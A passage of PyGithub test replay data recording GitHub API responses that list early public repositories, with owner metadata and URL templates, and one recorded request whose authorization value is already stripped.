ithub.com/users/bs/repos","events_url":"https://api.github.com/users/bs/events{/privacy}","received_events_url":"https://api.github.com/users/bs/received_events","type":"User"},"private":false,"html_url":"https://github.com/bs/starling","description":"Starling Message Queue","fork":false,"url":"https://api.github.com/repos/bs/starling","forks_url":"https://api.github.com/repos/bs/starling/forks","keys_url":"https://api.github.com/repos/bs/starling/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bs/starling/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bs/starling/teams","hooks_url":"https://api.github.com/repos/bs/starling/hooks","issue_events_url":"https://api.github.com/repos/bs/starling/issues/events{/number}","events_url":"https://api.github.com/repos/bs/starling/events","assignees_url":"https://api.github.com/repos/bs/starling/assignees{/user}","branches_url":"https://api.github.com/repos/bs/starling/branches{/branch}","tags_url":"https://api.github.com/repos/bs/starling/tags","blobs_url":"https://api.github.com/repos/bs/starling/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bs/starling/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bs/starling/git/refs{/sha}","trees_url":"https://api.github.com/repos/bs/starling/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bs/starling/statuses/{sha}","languages_url":"https://api.github.com/repos/bs/starling/languages","stargazers_url":"https://api.github.com/repos/bs/starling/stargazers","contributors_url":"https://api.github.com/repos/bs/starling/contributors","subscribers_url":"https://api.github.com/repos/bs/starling/subscribers","subscription_url":"https://api.github.com/repos/bs/starling/subscription","commits_url":"https://api.github.com/repos/bs/starling/commits{/sha}","git_commits_url":"https://api.github.com/repos/bs/starling/git/commits{/sha}","comments_url":"https://api.github.com/repos/bs/starling/comments{/number}","issue_comment_url":"https://api.github.com/repos/bs/starling/issues/comments/{number}","contents_url":"https://api.github.com/repos/bs/starling/contents/{+path}","compare_url":"https://api.github.com/repos/bs/starling/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bs/starling/merges","archive_url":"https://api.github.com/repos/bs/starling/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bs/starling/downloads","issues_url":"https://api.github.com/repos/bs/starling/issues{/number}","pulls_url":"https://api.github.com/repos/bs/starling/pulls{/number}","milestones_url":"https://api.github.com/repos/bs/starling/milestones{/number}","notifications_url":"https://api.github.com/repos/bs/starling/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bs/starling/labels{/name}"},{"id":360,"name":"ape","full_name":"sr/ape","owner":{"login":"sr","id":90,"avatar_url":"https://1.gravatar.com/avatar/8e0adf6f8274375b90a180d256d73bad?d=https%3A%2F%2Fidenticons.github.com%2F8613985ec49eb8f757ae6439e879bb2a.png","gravatar_id":"8e0adf6f8274375b90a180d256d73bad","url":"https://api.github.com/users/sr","html_url":"https://github.com/sr","followers_url":"https://api.github.com/users/sr/followers","following_url":"https://api.github.com/users/sr/following{/other_user}","gists_url":"https://api.github.com/users/sr/gists{/gist_id}","starred_url":"https://api.github.com/users/sr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sr/subscriptions","organizations_url":"https://api.github.com/users/sr/orgs","repos_url":"https://api.github.com/users/sr/repos","events_url":"https://api.github.com/users/sr/events{/privacy}","received_events_url":"https://api.github.com/users/sr/received_events","type":"User"},"private":false,"html_url":"https://github.com/sr/ape","description":"The Atom Protocol Exerciser","fork":false,"url":"https://api.github.com/repos/sr/ape","forks_url":"https://api.github.com/repos/sr/ape/forks","keys_url":"https://api.github.com/repos/sr/ape/keys{/key_id}","collaborators_url":"https://api.github.com/repos/sr/ape/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/sr/ape/teams","hooks_url":"https://api.github.com/repos/sr/ape/hooks","issue_events_url":"https://api.github.com/repos/sr/ape/issues/events{/number}","events_url":"https://api.github.com/repos/sr/ape/events","assignees_url":"https://api.github.com/repos/sr/ape/assignees{/user}","branches_url":"https://api.github.com/repos/sr/ape/branches{/branch}","tags_url":"https://api.github.com/repos/sr/ape/tags","blobs_url":"https://api.github.com/repos/sr/ape/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/sr/ape/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/sr/ape/git/refs{/sha}","trees_url":"https://api.github.com/repos/sr/ape/git/trees{/sha}","statuses_url":"https://api.github.com/repos/sr/ape/statuses/{sha}","languages_url":"https://api.github.com/repos/sr/ape/languages","stargazers_url":"https://api.github.com/repos/sr/ape/stargazers","contributors_url":"https://api.github.com/repos/sr/ape/contributors","subscribers_url":"https://api.github.com/repos/sr/ape/subscribers","subscription_url":"https://api.github.com/repos/sr/ape/subscription","commits_url":"https://api.github.com/repos/sr/ape/commits{/sha}","git_commits_url":"https://api.github.com/repos/sr/ape/git/commits{/sha}","comments_url":"https://api.github.com/repos/sr/ape/comments{/number}","issue_comment_url":"https://api.github.com/repos/sr/ape/issues/comments/{number}","contents_url":"https://api.github.com/repos/sr/ape/contents/{+path}","compare_url":"https://api.github.com/repos/sr/ape/compare/{base}...{head}","merges_url":"https://api.github.com/repos/sr/ape/merges","archive_url":"https://api.github.com/repos/sr/ape/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/sr/ape/downloads","issues_url":"https://api.github.com/repos/sr/ape/issues{/number}","pulls_url":"https://api.github.com/repos/sr/ape/pulls{/number}","milestones_url":"https://api.github.com/repos/sr/ape/milestones{/number}","notifications_url":"https://api.github.com/repos/sr/ape/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/sr/ape/labels{/name}"},{"id":362,"name":"awesomeness","full_name":"collectiveidea/awesomeness","owner":{"login":"collectiveidea","id":128,"avatar_url":"https://2.gravatar.com/avatar/13ff8dc8c2bf2a4752816e1e3f201a05?d=https%3A%2F%2Fidenticons.github.com%2F76dc611d6ebaafc66cc0879c71b5db5c.png","gravatar_id":"13ff8dc8c2bf2a4752816e1e3f201a05","url":"https://api.github.com/users/collectiveidea","html_url":"https://github.com/collectiveidea","followers_url":"https://api.github.com/users/collectiveidea/followers","following_url":"https://api.github.com/users/collectiveidea/following{/other_user}","gists_url":"https://api.github.com/users/collectiveidea/gists{/gist_id}","starred_url":"https://api.github.com/users/collectiveidea/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/collectiveidea/subscriptions","organizations_url":"https://api.github.com/users/collectiveidea/orgs","repos_url":"https://api.github.com/users/collectiveidea/repos","events_url":"https://api.github.com/users/collectiveidea/events{/privacy}","received_events_url":"https://api.github.com/users/collectiveidea/received_events","type":"Organization"},"private":false,"html_url":"https://github.com/collectiveidea/awesomeness","description":"Collective Idea's Awesomeness. A collection of useful Rails bits and pieces.","fork":false,"url":"https://api.github.com/repos/collectiveidea/awesomeness","forks_url":"https://api.github.com/repos/collectiveidea/awesomeness/forks","keys_url":"https://api.github.com/repos/collectiveidea/awesomeness/keys{/key_id}","collaborators_url":"https://api.github.com/repos/collectiveidea/awesomeness/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/collectiveidea/awesomeness/teams","hooks_url":"https://api.github.com/repos/collectiveidea/awesomeness/hooks","issue_events_url":"https://api.github.com/repos/collectiveidea/awesomeness/issues/events{/number}","events_url":"https://api.github.com/repos/collectiveidea/awesomeness/events","assignees_url":"https://api.github.com/repos/collectiveidea/awesomeness/assignees{/user}","branches_url":"https://api.github.com/repos/collectiveidea/awesomeness/branches{/branch}","tags_url":"https://api.github.com/repos/collectiveidea/awesomeness/tags","blobs_url":"https://api.github.com/repos/collectiveidea/awesomeness/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/collectiveidea/awesomeness/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/collectiveidea/awesomeness/git/refs{/sha}","trees_url":"https://api.github.com/repos/collectiveidea/awesomeness/git/trees{/sha}","statuses_url":"https://api.github.com/repos/collectiveidea/awesomeness/statuses/{sha}","languages_url":"https://api.github.com/repos/collectiveidea/awesomeness/languages","stargazers_url":"https://api.github.com/repos/collectiveidea/awesomeness/stargazers","contributors_url":"https://api.github.com/repos/collectiveidea/awesomeness/contributors","subscribers_url":"https://api.github.com/repos/collectiveidea/awesomeness/subscribers","subscription_url":"https://api.github.com/repos/collectiveidea/awesomeness/subscription","commits_url":"https://api.github.com/repos/collectiveidea/awesomeness/commits{/sha}","git_commits_url":"https://api.github.com/repos/collectiveidea/awesomeness/git/commits{/sha}","comments_url":"https://api.github.com/repos/collectiveidea/awesomeness/comments{/number}","issue_comment_url":"https://api.github.com/repos/collectiveidea/awesomeness/issues/comments/{number}","contents_url":"https://api.github.com/repos/collectiveidea/awesomeness/contents/{+path}","compare_url":"https://api.github.com/repos/collectiveidea/awesomeness/compare/{base}...{head}","merges_url":"https://api.github.com/repos/collectiveidea/awesomeness/merges","archive_url":"https://api.github.com/repos/collectiveidea/awesomeness/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/collectiveidea/awesomeness/downloads","issues_url":"https://api.github.com/repos/collectiveidea/awesomeness/issues{/number}","pulls_url":"https://api.github.com/repos/collectiveidea/awesomeness/pulls{/number}","milestones_url":"https://api.github.com/repos/collectiveidea/awesomeness/milestones{/number}","notifications_url":"https://api.github.com/repos/collectiveidea/awesomeness/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/collectiveidea/awesomeness/labels{/name}"},{"id":363,"name":"audited","full_name":"collectiveidea/audited","owner":{"login":"collectiveidea","id":128,"avatar_url":"https://2.gravatar.com/avatar/13ff8dc8c2bf2a4752816e1e3f201a05?d=https%3A%2F%2Fidenticons.github.com%2F76dc611d6ebaafc66cc0879c71b5db5c.png","gravatar_id":"13ff8dc8c2bf2a4752816e1e3f201a05","url":"https://api.github.com/users/collectiveidea","html_url":"https://github.com/collectiveidea","followers_url":"https://api.github.com/users/collectiveidea/followers","following_url":"https://api.github.com/users/collectiveidea/following{/other_user}","gists_url":"https://api.github.com/users/collectiveidea/gists{/gist_id}","starred_url":"https://api.github.com/users/collectiveidea/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/collectiveidea/subscriptions","organizations_url":"https://api.github.com/users/collectiveidea/orgs","repos_url":"https://api.github.com/users/collectiveidea/repos","events_url":"https://api.github.com/users/collectiveidea/events{/privacy}","received_events_url":"https://api.github.com/users/collectiveidea/received_events","type":"Organization"},"private":false,"html_url":"https://github.com/collectiveidea/audited","description":"Audited (formerly acts_as_audited) is an ORM extension that logs all changes to your Rails models.","fork":false,"url":"https://api.github.com/repos/collectiveidea/audited","forks_url":"https://api.github.com/repos/collectiveidea/audited/forks","keys_url":"https://api.github.com/repos/collectiveidea/audited/keys{/key_id}","collaborators_url":"https://api.github.com/repos/collectiveidea/audited/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/collectiveidea/audited/teams","hooks_url":"https://api.github.com/repos/collectiveidea/audited/hooks","issue_events_url":"https://api.github.com/repos/collectiveidea/audited/issues/events{/number}","events_url":"https://api.github.com/repos/collectiveidea/audited/events","assignees_url":"https://api.github.com/repos/collectiveidea/audited/assignees{/user}","branches_url":"https://api.github.com/repos/collectiveidea/audited/branches{/branch}","tags_url":"https://api.github.com/repos/collectiveidea/audited/tags","blobs_url":"https://api.github.com/repos/collectiveidea/audited/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/collectiveidea/audited/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/collectiveidea/audited/git/refs{/sha}","trees_url":"https://api.github.com/repos/collectiveidea/audited/git/trees{/sha}","statuses_url":"https://api.github.com/repos/collectiveidea/audited/statuses/{sha}","languages_url":"https://api.github.com/repos/collectiveidea/audited/languages","stargazers_url":"https://api.github.com/repos/collectiveidea/audited/stargazers","contributors_url":"https://api.github.com/repos/collectiveidea/audited/contributors","subscribers_url":"https://api.github.com/repos/collectiveidea/audited/subscribers","subscription_url":"https://api.github.com/repos/collectiveidea/audited/subscription","commits_url":"https://api.github.com/repos/collectiveidea/audited/commits{/sha}","git_commits_url":"https://api.github.com/repos/collectiveidea/audited/git/commits{/sha}","comments_url":"https://api.github.com/repos/collectiveidea/audited/comments{/number}","issue_comment_url":"https://api.github.com/repos/collectiveidea/audited/issues/comments/{number}","contents_url":"https://api.github.com/repos/collectiveidea/audited/contents/{+path}","compare_url":"https://api.github.com/repos/collectiveidea/audited/compare/{base}...{head}","merges_url":"https://api.github.com/repos/collectiveidea/audited/merges","archive_url":"https://api.github.com/repos/collectiveidea/audited/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/collectiveidea/audited/downloads","issues_url":"https://api.github.com/repos/collectiveidea/audited/issues{/number}","pulls_url":"https://api.github.com/repos/collectiveidea/audited/pulls{/number}","milestones_url":"https://api.github.com/repos/collectiveidea/audited/milestones{/number}","notifications_url":"https://api.github.com/repos/collectiveidea/audited/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/collectiveidea/audited/labels{/name}"},{"id":364,"name":"acts_as_geocodable","full_name":"collectiveidea/acts_as_geocodable","owner":{"login":"collectiveidea","id":128,"avatar_url":"https://2.gravatar.com/avatar/13ff8dc8c2bf2a4752816e1e3f201a05?d=https%3A%2F%2Fidenticons.github.com%2F76dc611d6ebaafc66cc0879c71b5db5c.png","gravatar_id":"13ff8dc8c2bf2a4752816e1e3f201a05","url":"https://api.github.com/users/collectiveidea","html_url":"https://github.com/collectiveidea","followers_url":"https://api.github.com/users/collectiveidea/followers","following_url":"https://api.github.com/users/collectiveidea/following{/other_user}","gists_url":"https://api.github.com/users/collectiveidea/gists{/gist_id}","starred_url":"https://api.github.com/users/collectiveidea/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/collectiveidea/subscriptions","organizations_url":"https://api.github.com/users/collectiveidea/orgs","repos_url":"https://api.github.com/users/collectiveidea/repos","events_url":"https://api.github.com/users/collectiveidea/events{/privacy}","received_events_url":"https://api.github.com/users/collectiveidea/received_events","type":"Organization"},"private":false,"html_url":"https://github.com/collectiveidea/acts_as_geocodable","description":"A Rails plugin that makes your applications geo-aware.","fork":false,"url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable","forks_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/forks","keys_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/keys{/key_id}","collaborators_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/teams","hooks_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/hooks","issue_events_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/issues/events{/number}","events_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/events","assignees_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/assignees{/user}","branches_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/branches{/branch}","tags_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/tags","blobs_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/git/refs{/sha}","trees_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/git/trees{/sha}","statuses_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/statuses/{sha}","languages_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/languages","stargazers_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/stargazers","contributors_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/contributors","subscribers_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/subscribers","subscription_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/subscription","commits_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/commits{/sha}","git_commits_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/git/commits{/sha}","comments_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/comments{/number}","issue_comment_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/issues/comments/{number}","contents_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/contents/{+path}","compare_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/compare/{base}...{head}","merges_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/merges","archive_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/downloads","issues_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/issues{/number}","pulls_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/pulls{/number}","milestones_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/milestones{/number}","notifications_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/collectiveidea/acts_as_geocodable/labels{/name}"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testGetReposSince.txt0000644000175100001660000141640414756101563023564 0ustar00runnerdockerhttps GET api.github.com None /repositories?since=1000 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4998'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('cache-control', 'max-age=0, private, must-revalidate'), ('vary', 'Accept-Encoding'), ('content-length', '399618'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="first"'), ('etag', '"12e839cbce49c8f05e4f6dcb7a3889f0"'), ('access-control-allow-credentials', 'true'), ('date', 'Wed, 21 Aug 2013 19:48:29 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377117459')] [{"id":1008,"name":"jquery-humanize-messages-plugin","full_name":"andykent/jquery-humanize-messages-plugin","owner":{"login":"andykent","id":614,"avatar_url":"https://0.gravatar.com/avatar/c296fd4ef131939f1aa09b8294bbd08c?d=https%3A%2F%2Fidenticons.github.com%2F851ddf5058cf22df63d3344ad89919cf.png","gravatar_id":"c296fd4ef131939f1aa09b8294bbd08c","url":"https://api.github.com/users/andykent","html_url":"https://github.com/andykent","followers_url":"https://api.github.com/users/andykent/followers","following_url":"https://api.github.com/users/andykent/following{/other_user}","gists_url":"https://api.github.com/users/andykent/gists{/gist_id}","starred_url":"https://api.github.com/users/andykent/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/andykent/subscriptions","organizations_url":"https://api.github.com/users/andykent/orgs","repos_url":"https://api.github.com/users/andykent/repos","events_url":"https://api.github.com/users/andykent/events{/privacy}","received_events_url":"https://api.github.com/users/andykent/received_events","type":"User"},"private":false,"html_url":"https://github.com/andykent/jquery-humanize-messages-plugin","description":"A jQuery port of the humanized dialog display technique. (http://www.humanized.com/weblog/2006/09/11/monolog_boxes_and_transparent_messages/)","fork":false,"url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin","forks_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/forks","keys_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/keys{/key_id}","collaborators_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/teams","hooks_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/hooks","issue_events_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/issues/events{/number}","events_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/events","assignees_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/assignees{/user}","branches_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/branches{/branch}","tags_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/tags","blobs_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/git/refs{/sha}","trees_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/git/trees{/sha}","statuses_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/statuses/{sha}","languages_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/languages","stargazers_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/stargazers","contributors_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/contributors","subscribers_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/subscribers","subscription_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/subscription","commits_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/commits{/sha}","git_commits_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/git/commits{/sha}","comments_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/comments{/number}","issue_comment_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/issues/comments/{number}","contents_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/contents/{+path}","compare_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/compare/{base}...{head}","merges_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/merges","archive_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/downloads","issues_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/issues{/number}","pulls_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/pulls{/number}","milestones_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/milestones{/number}","notifications_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/labels{/name}"},{"id":1010,"name":"4slicer","full_name":"avalade/4slicer","owner":{"login":"avalade","id":449,"avatar_url":"https://1.gravatar.com/avatar/7cd8f51abfade91b3e57af0887d69063?d=https%3A%2F%2Fidenticons.github.com%2Fd61e4bbd6393c9111e6526ea173a7c8b.png","gravatar_id":"7cd8f51abfade91b3e57af0887d69063","url":"https://api.github.com/users/avalade","html_url":"https://github.com/avalade","followers_url":"https://api.github.com/users/avalade/followers","following_url":"https://api.github.com/users/avalade/following{/other_user}","gists_url":"https://api.github.com/users/avalade/gists{/gist_id}","starred_url":"https://api.github.com/users/avalade/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/avalade/subscriptions","organizations_url":"https://api.github.com/users/avalade/orgs","repos_url":"https://api.github.com/users/avalade/repos","events_url":"https://api.github.com/users/avalade/events{/privacy}","received_events_url":"https://api.github.com/users/avalade/received_events","type":"User"},"private":false,"html_url":"https://github.com/avalade/4slicer","description":"","fork":false,"url":"https://api.github.com/repos/avalade/4slicer","forks_url":"https://api.github.com/repos/avalade/4slicer/forks","keys_url":"https://api.github.com/repos/avalade/4slicer/keys{/key_id}","collaborators_url":"https://api.github.com/repos/avalade/4slicer/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/avalade/4slicer/teams","hooks_url":"https://api.github.com/repos/avalade/4slicer/hooks","issue_events_url":"https://api.github.com/repos/avalade/4slicer/issues/events{/number}","events_url":"https://api.github.com/repos/avalade/4slicer/events","assignees_url":"https://api.github.com/repos/avalade/4slicer/assignees{/user}","branches_url":"https://api.github.com/repos/avalade/4slicer/branches{/branch}","tags_url":"https://api.github.com/repos/avalade/4slicer/tags","blobs_url":"https://api.github.com/repos/avalade/4slicer/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/avalade/4slicer/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/avalade/4slicer/git/refs{/sha}","trees_url":"https://api.github.com/repos/avalade/4slicer/git/trees{/sha}","statuses_url":"https://api.github.com/repos/avalade/4slicer/statuses/{sha}","languages_url":"https://api.github.com/repos/avalade/4slicer/languages","stargazers_url":"https://api.github.com/repos/avalade/4slicer/stargazers","contributors_url":"https://api.github.com/repos/avalade/4slicer/contributors","subscribers_url":"https://api.github.com/repos/avalade/4slicer/subscribers","subscription_url":"https://api.github.com/repos/avalade/4slicer/subscription","commits_url":"https://api.github.com/repos/avalade/4slicer/commits{/sha}","git_commits_url":"https://api.github.com/repos/avalade/4slicer/git/commits{/sha}","comments_url":"https://api.github.com/repos/avalade/4slicer/comments{/number}","issue_comment_url":"https://api.github.com/repos/avalade/4slicer/issues/comments/{number}","contents_url":"https://api.github.com/repos/avalade/4slicer/contents/{+path}","compare_url":"https://api.github.com/repos/avalade/4slicer/compare/{base}...{head}","merges_url":"https://api.github.com/repos/avalade/4slicer/merges","archive_url":"https://api.github.com/repos/avalade/4slicer/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/avalade/4slicer/downloads","issues_url":"https://api.github.com/repos/avalade/4slicer/issues{/number}","pulls_url":"https://api.github.com/repos/avalade/4slicer/pulls{/number}","milestones_url":"https://api.github.com/repos/avalade/4slicer/milestones{/number}","notifications_url":"https://api.github.com/repos/avalade/4slicer/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/avalade/4slicer/labels{/name}"},{"id":1015,"name":"fixture-scenarios","full_name":"mojombo/fixture-scenarios","owner":{"login":"mojombo","id":1,"avatar_url":"https://2.gravatar.com/avatar/25c7c18223fb42a4c6ae1c8db6f50f9b?d=https%3A%2F%2Fidenticons.github.com%2Fc4ca4238a0b923820dcc509a6f75849b.png","gravatar_id":"25c7c18223fb42a4c6ae1c8db6f50f9b","url":"https://api.github.com/users/mojombo","html_url":"https://github.com/mojombo","followers_url":"https://api.github.com/users/mojombo/followers","following_url":"https://api.github.com/users/mojombo/following{/other_user}","gists_url":"https://api.github.com/users/mojombo/gists{/gist_id}","starred_url":"https://api.github.com/users/mojombo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mojombo/subscriptions","organizations_url":"https://api.github.com/users/mojombo/orgs","repos_url":"https://api.github.com/users/mojombo/repos","events_url":"https://api.github.com/users/mojombo/events{/privacy}","received_events_url":"https://api.github.com/users/mojombo/received_events","type":"User"},"private":false,"html_url":"https://github.com/mojombo/fixture-scenarios","description":"This plugin allows you to create 'scenarios' which are collections of fixtures and ruby files that represent a context against which you can run tests.","fork":false,"url":"https://api.github.com/repos/mojombo/fixture-scenarios","forks_url":"https://api.github.com/repos/mojombo/fixture-scenarios/forks","keys_url":"https://api.github.com/repos/mojombo/fixture-scenarios/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mojombo/fixture-scenarios/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mojombo/fixture-scenarios/teams","hooks_url":"https://api.github.com/repos/mojombo/fixture-scenarios/hooks","issue_events_url":"https://api.github.com/repos/mojombo/fixture-scenarios/issues/events{/number}","events_url":"https://api.github.com/repos/mojombo/fixture-scenarios/events","assignees_url":"https://api.github.com/repos/mojombo/fixture-scenarios/assignees{/user}","branches_url":"https://api.github.com/repos/mojombo/fixture-scenarios/branches{/branch}","tags_url":"https://api.github.com/repos/mojombo/fixture-scenarios/tags","blobs_url":"https://api.github.com/repos/mojombo/fixture-scenarios/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mojombo/fixture-scenarios/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mojombo/fixture-scenarios/git/refs{/sha}","trees_url":"https://api.github.com/repos/mojombo/fixture-scenarios/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mojombo/fixture-scenarios/statuses/{sha}","languages_url":"https://api.github.com/repos/mojombo/fixture-scenarios/languages","stargazers_url":"https://api.github.com/repos/mojombo/fixture-scenarios/stargazers","contributors_url":"https://api.github.com/repos/mojombo/fixture-scenarios/contributors","subscribers_url":"https://api.github.com/repos/mojombo/fixture-scenarios/subscribers","subscription_url":"https://api.github.com/repos/mojombo/fixture-scenarios/subscription","commits_url":"https://api.github.com/repos/mojombo/fixture-scenarios/commits{/sha}","git_commits_url":"https://api.github.com/repos/mojombo/fixture-scenarios/git/commits{/sha}","comments_url":"https://api.github.com/repos/mojombo/fixture-scenarios/comments{/number}","issue_comment_url":"https://api.github.com/repos/mojombo/fixture-scenarios/issues/comments/{number}","contents_url":"https://api.github.com/repos/mojombo/fixture-scenarios/contents/{+path}","compare_url":"https://api.github.com/repos/mojombo/fixture-scenarios/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mojombo/fixture-scenarios/merges","archive_url":"https://api.github.com/repos/mojombo/fixture-scenarios/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mojombo/fixture-scenarios/downloads","issues_url":"https://api.github.com/repos/mojombo/fixture-scenarios/issues{/number}","pulls_url":"https://api.github.com/repos/mojombo/fixture-scenarios/pulls{/number}","milestones_url":"https://api.github.com/repos/mojombo/fixture-scenarios/milestones{/number}","notifications_url":"https://api.github.com/repos/mojombo/fixture-scenarios/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mojombo/fixture-scenarios/labels{/name}"},{"id":1016,"name":"mongrel_proctitle","full_name":"rtomayko/mongrel_proctitle","owner":{"login":"rtomayko","id":404,"avatar_url":"https://0.gravatar.com/avatar/abfc88b96ae18c85ba7aac3bded2ec5e?d=https%3A%2F%2Fidenticons.github.com%2F4f4adcbf8c6f66dcfc8a3282ac2bf10a.png","gravatar_id":"abfc88b96ae18c85ba7aac3bded2ec5e","url":"https://api.github.com/users/rtomayko","html_url":"https://github.com/rtomayko","followers_url":"https://api.github.com/users/rtomayko/followers","following_url":"https://api.github.com/users/rtomayko/following{/other_user}